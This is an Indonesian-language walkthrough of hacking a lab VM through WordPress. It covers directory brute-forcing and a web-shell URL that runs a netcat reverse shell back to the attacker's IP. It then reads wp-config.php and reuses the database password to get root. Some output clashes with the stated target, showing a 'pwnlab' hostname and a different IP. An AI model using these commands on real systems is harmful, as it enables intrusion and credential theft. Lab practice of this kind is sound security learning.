Coba,
dirb http://192.168.0.122 /usr/share/dirb/wordlists/big.txt -o dirb_scan.txt -w
Hasilny tidak beda jauh dengan sebelumnya.
Sepertinya ada CMS (Lepton CMS) yang mengintai target ini. Disini bisa dilihat terdapat 3 file/folder penting yaitu
/upload /wordpress /robots.txt
Akses robot.txt di URL
http://192.168.0.122/robots.txt
keluar tulisan,
Disallow: Hackers
Allow: /wordpress/

Akses /upload
http://192.168.0.122/upload/
Ada LEPTON CMS, tapi sulit untuk diakses karena menggunakan IP 192.168.0.190. Tampaknya kita lebih baik focus ke wordpress saja.

Start netcat listener di Kali
Start 4444 listener
nc -nvlp 4444
Browse untuk connect ke port
- cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
- Browse ke URL (perhatikan spasi)
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=nc%20-nv%20192.168.0.62%204444%20-e%20/bin/bash
Di kali linux CLI akan ada kata2,
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@pwnlab:/var/www/html$
Perlu diingat! jangan lupa jalankan 2 perintah ini ketika sudah berhasil connect back
$ python -c "import pty; pty.spawn('/bin/bash');"
$ export TERM=xterm
Privilege Escalation (getting common user) Silahkan baca output dari linuxprivchecker.py. Ada hal yang menarik dari versi kernel tersebut
[+] Kernel
Linux version 3.2.0-23-generic-pae (buildd@palmer) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu4) ) #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012
Dan ketika saya ingin kompile dan jalankan exploit, hal yang saya takutkan benar-benar terjadi
www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ gcc The program 'gcc' can be found in the following packages:
- gcc
- pentium-builder
Ask your administrator to install one of them Oh my god! Tapi saya tidak menyerah, saya cari di https://www.kernel-exploits.com/kernel/?version=3.2.0 dan menemukan exploit yang cocok. Namun ketika dijalankan
Padahal sudah chmod +x sebelumnya
Hmm, sekarang kita coba baca kembali /etc/passwd dari linuxprivchecker. Terdapat user wpadmin seperti ini

Pada password admin wordpress tadi, username & password semuanya sama. Apakah ini juga berlaku pada user wpadmin? mengapa kita tidak coba
Loh ternyata berhasil beneran!!! XD XD
Anyway, saya coba iseng decrypt flag md5 itu dan ternyata tidak ditemukan. Saya coba masukin ke root tapi sepertinya bukan itu passwordnya.
Privilege Escalation (getting root)
cara-cara di atas semua tidak berhasil. Terpaksa menggunakan bruteforce.
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=pwd http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls%20/var/www/wordpress http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=cat%20/var/www/wordpress/wp-config.php
Karena saya tidak menemukan jalan lain selain bruteforce, namun tentunya pusing juga kalau bruteforce rootnya karena /etc/shadow tidak dapat dibuka.
Akhirnya saya coba iseng melihat konfigurasi wordpress, siapa tau password rootnya adalah password database server
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
Lalu saya cobakan saja password rootpassword! pada root
Okay! berhasil sudah sampai disini, yey!!!
Epilogue Terus terang aja sih, ini VM sebenarnya gampang cuma malesinnya adalah maenan bruteforce dan tebak password.
Tentunya walaupun mudah, ini juga merupakan hal yang sulit buat kalian yang masih baru dalam dunia hacking. Tebak password itu bisa gw bilang salah satu “skill dewa” karena kamu harus punya sense yang bagus untuk itu.
Paling segitu dulu saja, stay tuned untuk artikel lainnya yah! :D
